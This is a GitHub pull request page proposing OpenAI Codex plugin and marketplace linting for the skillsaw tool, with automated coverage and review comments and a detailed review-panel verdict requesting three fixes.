Skip to content

Add first-class OpenAI Codex plugin and marketplace linting - #451

Closed
stbenjam wants to merge 50 commits into
mainfrom
codex-plugin-rules
Closed

Add first-class OpenAI Codex plugin and marketplace linting#451
stbenjam wants to merge 50 commits into
mainfrom
codex-plugin-rules

Conversation

@stbenjam

@stbenjam stbenjam commented Jul 25, 2026

Copy link
Copy Markdown
Owner

Summary

Adds first-class OpenAI Codex plugin and marketplace support without treating
Codex repositories as malformed Claude plugins.

  • Discovers .codex-plugin/plugin.json, .agents/plugins/*marketplace.json
    catalogs (siblings need at least one sourced entry, so version-pin files are
    not claimed), declared skills, hooks, MCP configs, and installed plugins.
  • Adds five format rules: codex-plugin-json-valid, codex-plugin-structure,
    codex-marketplace-json-valid, codex-marketplace-registration, and
    codex-openai-metadata.
  • Validates the documented Agent Skill metadata file agents/openai.yaml
    interface strings, #RRGGBB brand color, owner-relative icon paths, policy
    and tool dependencies — matching the field set of OpenAI's bundled
    validate_plugin.py. The plugin-root form is supported as an observed
    OpenAI catalog compatibility form, and the file is a reachability root for
    agentskill-unreferenced-files.
  • Keeps every Codex plugin's prose in the lint tree: commands/, agents/,
    rules/ and README files are read by all content and security rules
    (secret scanning included), while the Claude-format rules — command/agent
    frontmatter, naming, sections, plugin-json-required, Claude marketplace
    registration — exempt Codex-only directories via a provenance predicate.
    Dual-manifest plugins keep every Claude check and their existing results.

Behavior changes to existing rules

  • agentskill-structure no longer governs agents/: host metadata is
    skipped unconditionally via _HOST_METADATA_DIRS and removed from the
    allowed_dirs default.
  • The hooks-json-valid matcher-type check and mcp-valid-json
    non-empty-string checks added here are gated to Codex-only plugins, so
    Claude-only and dual-manifest repositories report exactly what 0.17 did.
  • content-broken-internal-reference treats any RFC 3986 URI scheme
    (app://, vscode://, …) as external, not just http(s)/mailto.
  • Exclusion patterns: a trailing /** matches strictly inside the directory,
    never the directory entry itself.
  • skillsaw lint <manifest file> roots the lint at the owning plugin or
    repository root (bounded — never $HOME or /).
  • Scan statistics count deduplicated Claude∪Codex plugin directories in all
    formatters and the badge card.
  • No content-* rule implementation is changed.

Correctness and safety

  • Contains manifest, catalog, component, reference, icon, and symlink paths
    within the repository and their owning plugin/skill; symlink loops and
    oversized JSON numbers degrade to diagnostics rather than aborting the lint.
  • Keeps vendor-installed content under .codex/plugins/ diagnostic-only:
    executable hooks/MCP and skill checks run; manifest-quality rules
    (codex-openai-metadata included) and every autofix stand down.
  • Redacts URL credentials and control characters from every diagnostic that
    echoes a manifest value, so JSON/SARIF artifacts cannot carry a pasted
    token.
  • Registration autofix stays conservative: malformed JSON, duplicate keys,
    non-finite numbers, duplicate names, excluded plugins, unsafe paths, and
    names the catalog already lists are never written; a listed name whose
    source path does not resolve gets an accurate WARNING instead of a false
    "not registered" ERROR.
  • Hardens generated Markdown/HTML against malformed metadata, injection
    through URLs and metadata fields, filename collisions, control characters,
    and unsafe URL schemes.

Validation

  • make update, make lint, make test — 3,442 passed, 1 xfailed, 94%
    coverage.
  • Discovery on a 300-plugin synthetic catalog: 68ms (linear); a
    codex-marketplace scale is part of the benchmark harness.
  • openai/plugins (180 plugins, 581 skills): all five Codex rules clean; a
    pinned CI gate also asserts plugin prose stays visible to content rules and
    the gated Claude-format rules stay silent. Against the pre-Codex baseline,
    698 error/warning findings are removed at the intended false-positive
    sites and 0 error/warning findings are added (info-level findings differ).
  • openshift-eng/ai-helpers with built-in rules — A+, exit 0.

References

Codex plugin (`.codex-plugin/plugin.json`) and marketplace
(`.agents/plugins/marketplace.json`) manifests were invisible to skillsaw
— not detected, not in the lint tree, not linted. This adds four rules,
two repo types, and two lint-tree nodes for them.

Codex gets its own rules rather than overloading the Claude ones. The
schemas are not compatible: Claude requires `owner` (0 of the Codex
catalogs surveyed have it), Codex's source types include `local` (209/209
entries in openai/plugins) which the Claude rule would call unknown, and
Codex publishes no semver constraint on `version`. `.claude-plugin/
marketplace.json` stays owned by `marketplace-json-valid`.

New rules, all `enabled: auto` gated on the new repo types:

- codex-plugin-json-valid — manifest fields and every path it declares
- codex-plugin-structure — "Only plugin.json belongs in .codex-plugin/"
- codex-marketplace-json-valid — catalog schema, source types, policy
- codex-marketplace-registration — catalog and directories agree,
  with a SUGGEST autofix

Two pre-existing false positives on Codex repos are fixed: a bare
`plugins/` directory made `marketplace-json-valid` demand a Claude
manifest (fired on 13 of 35 real Codex marketplaces, openai/plugins
among them), and `plugin-json-required` demanded a Claude manifest from
Codex plugins that ship a `commands/` directory. A plugin the Claude
marketplace itself lists is still required to have one.

Codex plugin `hooks/hooks.json` is routed to the existing HooksBlock, so
Codex plugins get hooks-json-valid and hooks-dangerous rather than
duplicate rules.

Validated against 35 real Codex repositories (~460 manifests): zero
findings on openai/plugins, and every finding elsewhere traced to a real
divergence — `..` escaping the plugin root, a stray `hooks.json` inside
`.codex-plugin/`, an unreplaced `[TODO: ./assets/icon.png]`, duplicate
catalog names, a dangling local source. ai-helpers is byte-identical on
all 481 violations.

Closes #446

Co-Authored-By: Claude <noreply@anthropic.com>
@coderabbitai

coderabbitai Bot commented Jul 25, 2026

Copy link
Copy Markdown

Review Change Stack

Note

Reviews paused

It looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the reviews.auto_review.auto_pause_after_reviewed_commits setting.

Use the following commands to manage reviews:

  • @coderabbitai resume to resume automatic reviews.
  • @coderabbitai review to trigger a single review.

Use the checkboxes below for quick actions:

  • ▶️ Resume reviews
  • 🔍 Trigger review
📝 Walkthrough

Walkthrough

Adds OpenAI Codex repository discovery and linting for plugin and marketplace manifests, including validation, registration autofix, Claude-rule compatibility, documentation, configuration, security hardening, and comprehensive tests.

Changes

OpenAI Codex linting

Layer / File(s) Summary
Discovery and lint-tree integration
src/skillsaw/context.py, src/skillsaw/lint_target.py, src/skillsaw/lint_tree.py, src/skillsaw/blocks/*, src/skillsaw/formats/codex.py
Discovers Codex plugins and marketplaces, classifies repository types, applies containment and exclusion checks, and adds Codex manifest, metadata, hook, and MCP nodes.
Manifest validation and registration
src/skillsaw/rules/builtin/codex/*, src/skillsaw/rules/builtin/marketplace/*, src/skillsaw/rules/builtin/plugins/*
Adds Codex metadata, plugin structure, plugin JSON, marketplace JSON, registration, path, policy, and Claude-compatibility validation, including guarded registration autofix.
Documentation extraction and rendering
src/skillsaw/docs/*
Generates Codex plugin and marketplace documentation with safe links, escaped attributes, collision-resistant filenames, and MCP source attribution.
Agent Skill and vendor-managed wiring
src/skillsaw/rules/builtin/agentskills/*, src/skillsaw/linter.py
Extends Agent Skill repository coverage, contains referenced files within plugin roots, and prevents autofixes from modifying installed Codex plugins.
Configuration and documentation
docs/*, src/skillsaw/rules/docs/*, scripts/*, mkdocs.yml, .skillsaw.yaml*, .apm/skills/skillsaw-maintenance/*, README.md
Documents Codex repository types and rules, updates generated rule groups and navigation, records upstream maintenance guidance, and updates version/configuration references.
Validation coverage
tests/test_codex_rules.py, tests/test_openai_metadata.py, tests/test_integration.py, tests/test_*
Tests discovery, validation, containment, security hardening, registration autofix, activation, Claude compatibility, documentation rendering, recursion handling, and clean or broken fixtures.

Estimated code review effort: 5 (Critical) | ~120 minutes

Possibly related PRs

Suggested reviewers: not-stbenjam

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 43.80% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (4 passed)
Check name Status Explanation
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly matches the main change: first-class OpenAI Codex plugin and marketplace linting support.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch codex-plugin-rules

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@stbenjam stbenjam added the panel-review Trigger a multi-specialist review panel label Jul 25, 2026
@github-actions github-actions Bot removed the panel-review Trigger a multi-specialist review panel label Jul 25, 2026
@codecov

codecov Bot commented Jul 25, 2026

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 95.24313% with 90 lines in your changes missing coverage. Please review.
✅ Project coverage is 93.88%. Comparing base (43654b2) to head (b8f7751).

Files with missing lines Patch % Lines
src/skillsaw/context.py 94.21% 20 Missing ⚠️
src/skillsaw/docs/extractor.py 91.98% 19 Missing ⚠️
...lsaw/rules/builtin/codex/marketplace_json_valid.py 93.08% 13 Missing ⚠️
...aw/rules/builtin/codex/marketplace_registration.py 95.30% 10 Missing ⚠️
src/skillsaw/lint_tree.py 95.00% 6 Missing ⚠️
src/skillsaw/blocks/json_config.py 89.65% 3 Missing ⚠️
src/skillsaw/cli/_helpers.py 90.00% 2 Missing ⚠️
src/skillsaw/formats/codex.py 97.87% 2 Missing ⚠️
src/skillsaw/rules/builtin/codex/_helpers.py 97.56% 2 Missing ⚠️
...c/skillsaw/rules/builtin/codex/plugin_structure.py 93.54% 2 Missing ⚠️
... and 10 more
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #451      +/-   ##
==========================================
+ Coverage   93.54%   93.88%   +0.33%     
==========================================
  Files         145      155      +10     
  Lines       11418    13163    +1745     
==========================================
+ Hits        10681    12358    +1677     
- Misses        737      805      +68     

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 63330d9830

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/skillsaw/lint_tree.py Outdated
Comment thread src/skillsaw/context.py Outdated
Comment thread src/skillsaw/context.py
Comment thread src/skillsaw/rules/builtin/codex/marketplace_json_valid.py Outdated
Comment thread src/skillsaw/rules/builtin/codex/plugin_json_valid.py
Comment thread src/skillsaw/rules/builtin/marketplace/json_valid.py Outdated
Comment thread src/skillsaw/rules/builtin/codex/_helpers.py
@stbenjam stbenjam added the panel-review Trigger a multi-specialist review panel label Jul 25, 2026
devin-ai-integration[bot]

This comment was marked as resolved.

@github-actions github-actions Bot removed the panel-review Trigger a multi-specialist review panel label Jul 25, 2026
@github-actions

Copy link
Copy Markdown
Contributor

Review Panel Verdict

Disposition: REQUEST_CHANGES

Re-review. A panel ran on this PR at 2026-07-25T23:37:19Z and returned REQUEST_CHANGES with two BLOCKING findings. The only commit since is 3b99a22, a merge of main — no fix commits. The panel re-verified both findings empirically; both still reproduce. They are restated below rather than re-derived, and one new BLOCKING finding was added this pass.


Specialist Findings

Architecture Reviewer

Re-confirmed the prior pass's read of the design: separate codex-* rules over overloading is argued from data (local at 209/209 in openai/plugins), the manifest-addressed CodexPluginConfigNode correctly keeps a dual-ecosystem plugin on one PluginNode subtree, and routing Codex hooks/hooks.json to the existing HooksBlock is reuse rather than new surface. The seen set referenced in the lint_tree.py:197 comment does exist (lint_tree.py:86), so the dual-ecosystem dedup claim holds. No circular imports.

  • Severity: BLOCKING (unresolved from prior review)

  • File:linesrc/skillsaw/rules/builtin/marketplace/json_valid.py:73

  • Finding — The stand-down suppresses "Marketplace file not found" whenever CODEX_MARKETPLACE is in repo_types, without asking whether the repo contains real Claude plugins. Re-reproduced this pass against a freshly built venv on both refs:

    mixtest/.agents/plugins/marketplace.json               {"name":"codex-cat","plugins":[]}
    mixtest/plugins/claudeplug/.claude-plugin/plugin.json  (valid)
    mixtest/plugins/claudeplug/commands/thing.md
    

    ff2c35b (main): ✗ ERROR (marketplace-json-valid) [.claude-plugin/marketplace.json]: Marketplace file not foundErrors: 1
    this branch: no such error — Errors: 0

    The PR body already states the correct rule ("A plugin the Claude marketplace itself lists still needs its Claude manifest — the author declared it a Claude plugin") and applies it at plugins/json_required.py:42. The marketplace rule did not get the equivalent narrowing. This is an internal asymmetry, not a policy question.

  • Recommended action — Only return early when no discovered plugin carries .claude-plugin/plugin.json. Pure-Codex repos (openai/plugins, the codex/clean fixture) still stand down; mixed repos keep the error.

  • Severity: BLOCKING (new this pass)

  • File:linesrc/skillsaw/context.py:608

  • Finding_discover_codex_plugins probes .codex/plugins/*, which its own docstring at :589 calls "the documented personal-install pattern". Plugins found there are then fed to codex-marketplace-registration, which demands they be registered in the repository's own catalog. A plugin a developer installed is not a plugin the repository authors, so the demand is wrong by construction. Reproduced:

    codexinstall/.agents/plugins/marketplace.json                        {"name":"my-cat","plugins":[]}
    codexinstall/.codex/plugins/thirdparty/.codex-plugin/plugin.json     (valid, name "thirdparty")
    
    $ skillsaw lint /tmp/codexinstall
    ✗ ERROR (codex-marketplace-registration) [?] [.agents/plugins/marketplace.json]:
        Plugin 'thirdparty' not registered in marketplace.json
    Errors: 1
    

    This is an ERROR, so it fails skillsaw lint for any developer who has installed a Codex plugin into their checkout. Worse, the violation is marked fixable and the autofix acts on it — skillsaw fix --suggest wrote a third-party install into the repo's published catalog:

    { "name": "thirdparty",
      "source": { "source": "local", "path": "./.codex/plugins/thirdparty" },
      "policy": { "installation": "AVAILABLE", "authentication": "ON_INSTALL" },
      "category": "Productivity" }

    Blocking rather than a suggestion because it is a false positive at ERROR severity and the autofix commits a semantically wrong entry that would ship to installers. .codex/plugins appears exactly once in the codebase (context.py:589) — there is no fixture and no test exercising this branch, which is why the corpus survey did not surface it.

  • Recommended action — Decide what .codex/plugins/* is for. Either (a) drop it from _discover_codex_plugins entirely, or (b) keep discovering it so its skills/hooks are linted, but exclude it from _unregistered in codex-marketplace-registration the way installed content should be. Option (b) preserves the security value of linting installed hooks; option (a) is simpler. Either way, add a fixture.

  • Severity: SUGGESTION (new this pass)

  • File:linesrc/skillsaw/context.py:187

  • Findingself.codex_marketplace_data = self._load_codex_marketplace() is dead. grep -rn codex_marketplace_data returns exactly one hit — this assignment. Nothing reads it. It also diverges from the attribute it mirrors in two ways: marketplace_data at :195 is guarded (if self.has_marketplace() else None) while this one parses unconditionally, and it reads only the primary path, so it would silently disagree with codex_marketplace_paths() on a repo that splits its catalog — the exact openai/plugins shape the rest of the PR is careful to support.

  • Recommended action — Delete it, or if it is intended as rule-facing API, route it through _discover_codex_marketplaces() and give it a caller.

  • Severity: NOTE (unresolved from prior review)

  • File:linesrc/skillsaw/context.py:551, :573

  • Finding_discover_codex_marketplaces memoizes through self.__dict__.get(...) / self.__dict__[...] = .... These remain the only two __dict__ accesses in the file; every other cache uses a normal attribute seeded in __init__ (_apm_compiled_roots at :184).

  • Recommended actionself._codex_marketplace_paths: Optional[List[Path]] = None in __init__ plus a plain is None guard.

  • Severity: NOTE (unresolved from prior review)

  • File:linesrc/skillsaw/context.py:651

  • Findingcodex_plugin_name hand-rolls open() + json.load while _read_json_or_none (added in this same diff at :109, specifically so "discovery, the validity rule, and the registration rule all read these files" through the cached reader) does exactly that. It is called once per plugin in _unregistered and once per local entry in _check_entries — uncached I/O inside loops.

  • Recommended action — Route it through _read_json_or_none.

Python Expert

Clean, py3.9-compatible (requires-python = ">=3.9"; is_relative_to is 3.9+, no match, no 3.10 syntax). pathlib throughout. make lint passes — black --check reports 231 files unchanged. Docstrings explain why (the BOM regression note on _read_text, the "fixable is only a display flag" note on _registerable) rather than restating signatures. No new dependencies.

  • Severity: BLOCKING (unresolved from prior review)

  • File:linesrc/skillsaw/rules/builtin/codex/marketplace_json_valid.py:298

  • Findingurlparse(registry) is unguarded and raises ValueError: Invalid IPv6 URL on an unbalanced [. The exception escapes check(), so the linter aborts the entire rule. Re-reproduced this pass with a manifest whose only defect is the registry:

    $ skillsaw lint /tmp/urltest
    Error running rule codex-marketplace-json-valid: Invalid IPv6 URL
      ✗ ERROR (rule-execution-error): Rule 'codex-marketplace-json-valid' crashed
        during check: ValueError: Invalid IPv6 URL
    

    Every other finding in every catalog in the repo is replaced by one rule-execution-error. Blocking because _check_npm_registry exists precisely to reject registries with embedded credentials or plaintext HTTP, and on malformed input it fails open; and because the blast radius is the whole rule, not the one entry.

  • Recommended action — Wrap the parse and report a violation: try: parsed = urlparse(registry) except ValueError: return [self.violation(f"plugins[{idx}].source.registry '{registry}' is not a valid URL", file_path=marketplace_file)].

  • Severity: SUGGESTION (unresolved from prior review)

  • File:linesrc/skillsaw/rules/builtin/codex/marketplace_json_valid.py:349

  • Finding', '.join(known) where known = self.config.get(f"{field}-values", default). config_schema declares type: list with no element type, so installation-values: [1, 2] raises TypeError: sequence item 0: expected str instance, int found — again crashing the whole rule, reachable via config rather than manifest.

  • Recommended action', '.join(str(v) for v in known).

  • Severity: SUGGESTION (new this pass)

  • File:linesrc/skillsaw/rules/builtin/codex/marketplace_json_valid.py:273

  • Finding_check_local_path never guards the empty string, so a bare-string source of "" — an entry that can never resolve — degrades to INFO:

    $ skillsaw lint /tmp/emptysrc -v
    ℹ INFO (codex-marketplace-json-valid): plugins[0].source: relative path '' should start with './'
    Errors: 0  Warnings: 0
    

    codex-marketplace-registration does not catch it either, because codex_local_source_path("") returns None (context.py:126, source or None). The object form is guarded — {"source":"local","path":""} errors via the required-field check at :247 — and plugin_json_valid.py:142-145 guards the same case explicitly with the comment """ resolves to the plugin root". Only the bare-string branch is missing it.

  • Recommended action — In _check_local_path, return an error for an empty value before the ./ check, mirroring plugin_json_valid.py:145.

  • Severity: NOTE (unresolved from prior review)

  • File:linesrc/skillsaw/rules/builtin/codex/marketplace_json_valid.py:177-184

  • Finding_check_entry_name returns early on a duplicate name, so a duplicated entry never reaches the kebab-case check; a catalog with two Bad_Name entries reports the duplicate but never the casing.

  • Recommended action — Optional; append and fall through rather than returning.

Security & Supply Chain Reviewer

No pyproject.toml, CI, Makefile, Dockerfile, or Actions changes — the PR's own supply-chain surface is nil. No subprocess, no shell=True, no secrets, no logging of untrusted content.

  • Severity: NOTE (net positive)

  • File:linesrc/skillsaw/lint_tree.py:197

  • Finding — Routing a Codex plugin's hooks/hooks.json to HooksBlock closes a real gap: Codex "checks that default file automatically", so a plugin can ship executable hooks without declaring them anywhere, and skillsaw previously ignored the file entirely. It now gets hooks-dangerous and hooks-json-valid. The PR offers to drop this as scope creep — keep it. It reuses an existing block type rather than adding codex-hooks-* rules, so it costs nothing in maintained surface, and dropping it would leave auto-loaded executable content unlinted.

  • Severity: NOTE

  • File:linesrc/skillsaw/context.py:646-648, src/skillsaw/rules/builtin/codex/marketplace_registration.py:211-215

  • Finding — Path containment is handled correctly. self.root_path is resolved at context.py:180, and both call sites .resolve() the candidate before the containment test, so a symlink escaping the repository is caught rather than followed. path_problem rejects absolute paths and .. in both POSIX and Windows spellings via the shared is_absolute_path / has_parent_traversal helpers. _relative_source wraps relative_to in try, so an escaping directory yields None instead of a corrupt autofix. Checked, no issue.

  • Cross-references: the urlparse crash under Python Expert is security-relevant — the credential/scheme check fails open on exactly the input class it exists to catch. The .codex/plugins finding under Architecture is also security-adjacent: the autofix promotes locally-installed third-party content into a published catalog, which is a (low-severity, requires---suggest, requires-commit) path for unreviewed content to reach a marketplace.

QA Engineer

Coverage is strong and behavioral. tests/test_codex_rules.py holds 81 tests, all passing; the full suite is 3047 passed in 111s, matching the PR's claim exactly. Static fixtures under tests/fixtures/codex/{clean,broken} are used via copy_fixture per .claude/rules/testing.md and wired into both CLEAN_FIXTURES and BROKEN_FIXTURES. Autofix tests cover the repo's required invariants — idempotency, violation-clears, and re-lint-clean — plus real hazards (UTF-8 BOM, apostrophe in a plugin name, non-ASCII preservation). Per-file coverage on the new package: _helpers 100%, plugin_json_valid 95%, marketplace_registration 91%, plugin_structure 90%, marketplace_json_valid 87%.

Independently reproduced the PR's headline validation: against a fresh clone of openai/plugins (180 plugins, two catalogs), the four codex-* rules report zero violations, and a full main-vs-branch diff over the whole repo shows the branch removing exactly the seven claimed false positives and adding nothing:

< ✗ ERROR (marketplace-json-valid) [.claude-plugin/marketplace.json]: Marketplace file not found
< ✗ ERROR (plugin-json-required) [plugins/{build-macos-apps,cloudflare,expo,figma,vercel,zoom}/...]: Missing plugin.json
(1644 → 1637 findings; no additions)
  • Severity: SUGGESTION (unresolved from prior review)

  • File:linetests/test_codex_rules.py:818 (TestClaudeRulesStandDown)

  • Finding — The class tests the Codex-only direction (:830) and the no-Codex direction (:840), but not the mixed direction — a repo with both a Codex catalog and real Claude plugins. That is exactly where the Architecture BLOCKING finding lands. The sibling rule does have this test (test_a_plugin_the_claude_marketplace_lists_still_needs_its_manifest at :866); the marketplace rule has no counterpart.

  • Recommended action — Add test_marketplace_file_not_found_still_fires_with_claude_plugins: plugins/claudeplug/.claude-plugin/plugin.json (valid) + plugins/claudeplug/commands/thing.md + .agents/plugins/marketplace.json ({"name":"codex-cat","plugins":[]}); expect messages(violations) == ["Marketplace file not found"]. Verified: fails on this branch, passes on main.

  • Severity: SUGGESTION (unresolved from prior review)

  • File:linetests/test_codex_rules.py:348 (test_insecure_npm_registry)

  • Finding — The fixture covers http://user:pw@registry.example.com/root?token=abc, exercising scheme + credential + query together. There is no test for a registry urlparse cannot parse — the crash path.

  • Recommended action — Add test_unparseable_npm_registry_is_reported_not_crashed with {"source":"npm","package":"x","registry":"https://[oops"}, asserting a violation is returned rather than an exception raised.

  • Severity: SUGGESTION (new this pass)

  • File:linesrc/skillsaw/context.py:608

  • Finding — The .codex/plugins/* discovery branch has no test and no fixture.codex/plugins appears nowhere in tests/. That absence is why the false positive above shipped: TestCodexDiscovery covers the root, plugins/*, sibling-catalog, and exclude paths, but never the personal-install path.

  • Recommended action — Whichever way the .codex/plugins question is resolved, add a test pinning the decision: a repo with .agents/plugins/marketplace.json (empty plugins) plus .codex/plugins/thirdparty/.codex-plugin/plugin.json, asserting codex-marketplace-registration reports nothing.

  • Severity: NOTE

  • Finding — Remaining uncovered error paths, all low-value, listed so the gaps are known rather than assumed covered: the non-string policy value-list config (marketplace_json_valid.py:349 TypeError), and plugin_structure.py:38-39 (except OSError: continue on iterdir()), both unreached by any test.

Technical Writer

Documentation is the strongest part of this PR, and it is fully regenerated — make update clearly ran. docs/repo-types.md gains complete sections for both new types with directory trees and an explicit rationale for leaving .claude-plugin/marketplace.json with the Claude rules. All four rule pages exist in src/skillsaw/rules/docs/ and are generated out to docs/rules/. mkdocs.yml nav, docs/rules/index.md (63 → 67 with a new category row), docs/cli.md --type values, and .skillsaw.yaml.example (all four rules with commented-out tunables) are consistent. No page moved or renamed, so no mkdocs-redirects entry is needed. config_schema and repo_types are set on every rule that needs them, so the generated pages are complete rather than stubs.

references/codex.md is above the bar for this repo: it names the .md twin of the spec as authoritative and records that the rendered HTML page previously produced invented constraints (a semver requirement, an ON_FIRST_USE value), flags policy.authentication as undocumented-upstream and therefore the highest drift risk, and enumerates the deliberate non-checks so a future maintenance pass does not "fix" them back. Making Deliberate non-checks and Regression check binding in SKILL.md is the right structural change. All three skill copies (.agents/, .apm/, .claude/) are in sync.

  • Severity: SUGGESTION (new this pass — related to the .codex/plugins BLOCKING)

  • File:linedocs/repo-types.md:98

  • Finding — "skillsaw probes the repository root, plugins/*, .codex/plugins/*, and every local source the Codex marketplace declares" documents the probe but not its consequence: anything found under .codex/plugins/ becomes subject to codex-marketplace-registration at ERROR severity. The docs describe discovery; users will be surprised by the enforcement.

  • Recommended action — Once the .codex/plugins question above is settled, say in the docs which discovery roots are subject to the registration rule.

  • Severity: NOTE (unresolved from prior review)

  • File:linesrc/skillsaw/rules/builtin/codex/*.py (since = "0.18.0")

  • Finding — All four rules declare since = "0.18.0" while pyproject.toml:7 and src/skillsaw/__init__.py are at 0.17.0. Nine existing rules use "0.17.0", four (all from this PR) use "0.18.0". There is no documented convention in skillsaw-release/SKILL.md either way — if since means "first release containing this rule," 0.18.0 is right here; if it means "version at merge time," it is wrong.

  • Recommended action — Maintainer call. Worth writing the convention into the release skill so the next auto-generated rule PR doesn't guess.

  • Severity: NOTE

  • File:line.skillsaw.yaml:12

  • Finding — Narrowing the self-lint exclude from .agents/* to .agents/skills/* is necessary (the Codex catalog lives at .agents/plugins/marketplace.json) and safe — .agents/ in this repo contains only plugins/ and skills/, and the inline comment explains why. Verified: self-lint is clean (Errors: 0, Warnings: 0, grade A+) and repo types now include codex-marketplace, codex-plugin.

Ecosystem Reviewer

In scope for core — no redirect.

OpenAI Codex is a first-party product from one of the two vendors whose formats skillsaw most centrally targets, with a published specification at developers.openai.com/plugins/build/plugins and an official reference catalog (openai/plugins, 180 plugins across two catalog files — confirmed by clone this pass). That clears the bar set by what core already ships — CodeRabbit, promptfoo, and APM are all narrower surfaces. A vendor-run marketplace with a three-figure plugin count is past the speculative stage.

The standardization question favors core more than the PR argues. .codex-plugin/ and .agents/plugins/marketplace.json are deliberate near-mirrors of the Claude Code plugin layout; Codex reads .claude-plugin/marketplace.json for compatibility, and the PR's own observation that "Codex mirrors Claude Code's plugin loader" is why the undocumented shapes warn instead of erroring. This is a convergent convention across two major vendors, not one vendor's private format.

Maintenance cost is the one real concern and the reason this reviewer would have pushed back had the PR not addressed it: OpenAI publishes no JSON Schema, and policy.authentication is undocumented upstream entirely, so skillsaw becomes a de-facto validator for a moving target. references/codex.md pre-pays that debt properly, and the hedging design — unknown source types and unrecognized policy values warn rather than error, both sets configurable — means upstream drift degrades to a warning instead of breaking users' builds. That is the correct posture for an unspecified format.

On the hooks question the PR raises: keep it. See the Security finding.

No ecosystem finding.


Panel Synthesis

The engineering standard here remains high, and the panel re-verified the PR's claims rather than taking them on trust: 3047 tests pass, make lint is clean, self-lint is A+, the four codex-* rules are silent on a fresh clone of openai/plugins, and a full main-vs-branch diff over that corpus removes exactly the seven claimed false positives while adding nothing. The separate-rules decision is argued from data, the hedge-where-the-spec-hedges policy is right for an unspecified format, and references/codex.md pre-pays the drift debt.

Three blocking defects, all narrow, all in new code. Two are carried forward unfixed from the prior review; one is new.

The two carried-forward findings — the urlparse crash and the over-broad marketplace stand-down — were re-reproduced this pass on freshly built virtualenvs for both refs. Neither reflects on the design; both are mechanical, and each has a one-line test that would catch it.

The .codex/plugins finding is new and is the one worth dwelling on. It is a different kind of defect from the other two: not a missing guard but an unexamined consequence of a discovery decision. The code correctly identifies .codex/plugins/* as "the documented personal-install pattern" in its own docstring, and then applies an authorship rule to it. That gap survived a 35-repo corpus survey because installed plugins are typically gitignored and so appear in no surveyed checkout — the survey was measuring the wrong population for this branch. Its ERROR severity means it fails CI for an affected user, and its autofix writes a third-party install into a published catalog. The panel does not have a view on which resolution is right — dropping the probe is simpler, keeping it while exempting those plugins from registration preserves the security value of linting installed hooks — which is why the recommendation names both.

Worth noting what the three findings have in common: each is a place where discovery scope and enforcement scope were assumed to coincide. The stand-down assumes "repo has a Codex catalog" implies "repo has no Claude plugins"; .codex/plugins assumes "we discovered it" implies "the repo authors it". Both assumptions hold on the pure-Codex corpus the PR validated against and fail on mixed repos. That is a useful lens for the fix, not an argument against the design.

On the two questions the PR asks the maintainer directly, the panel's answers are unchanged: keep the separate codex-* rules (the local 209/209 datapoint forecloses overloading, and "detect one, switch modes" is unavailable because repos ship both manifests), and keep the hooks routing (it closes a real gap on auto-loaded executable surface and reuses HooksBlock rather than adding rules).

Arbiter biases applied. Security over ergonomics: the urlparse crash makes a credential check fail open, so it blocks despite being an unlikely input. Backward compatibility is paramount: the stand-down silently drops a check existing users rely on, and the .codex/plugins false positive breaks CI for users who did nothing wrong — both outrank the ergonomic cost of the fixes. Repo consistency over local elegance: the self.__dict__ cache and the hand-rolled json.load stay notes because they work and only diverge stylistically; the whole-file json.dumps rewrite in fix() was checked against marketplace/registration.py:182 and found consistent, so it is deliberately not a finding. Existing patterns over novel ones: reusing HooksBlock, is_absolute_path, and has_parent_traversal is the right instinct throughout and is noted approvingly.

Backward compatibility otherwise holds: no rule ID renamed, no config-format change, every new rule enabled: auto behind a repo type that cannot fire without a Codex manifest present. Once the three fixes land, this is ready.


Required Actions Before Merge

  1. Guard urlparse at src/skillsaw/rules/builtin/codex/marketplace_json_valid.py:298 — catch ValueError and report it as a violation. Without this, one malformed registry URL aborts the entire rule and suppresses every other finding in the repo. Add test_unparseable_npm_registry_is_reported_not_crashed with registry: "https://[oops". (Carried forward unfixed from the 2026-07-25 review.)

  2. Narrow the marketplace-json-valid stand-down at src/skillsaw/rules/builtin/marketplace/json_valid.py:73 — only return early when the repo contains no Claude plugin manifest, mirroring plugins/json_required.py:42. Add test_marketplace_file_not_found_still_fires_with_claude_plugins; it must fail on this branch and pass on main. (Carried forward unfixed from the 2026-07-25 review.)

  3. Resolve .codex/plugins/* discovery vs. registration at src/skillsaw/context.py:608 — either drop the probe, or keep it and exempt those plugins from codex-marketplace-registration._unregistered. As shipped, an installed third-party plugin produces an ERROR and skillsaw fix --suggest writes it into the repository's published catalog. Add a fixture and a test pinning whichever behavior is chosen, and update docs/repo-types.md:98 to state which discovery roots the registration rule enforces against.


Optional Follow-ups

  • Report an empty bare-string source ("") as an error rather than INFO in _check_local_path (codex/marketplace_json_valid.py:273), matching the guard already present at plugin_json_valid.py:145.
  • Delete the dead self.codex_marketplace_data at context.py:187, or give it a caller and route it through _discover_codex_marketplaces() so it does not disagree with codex_marketplace_paths() on split catalogs.
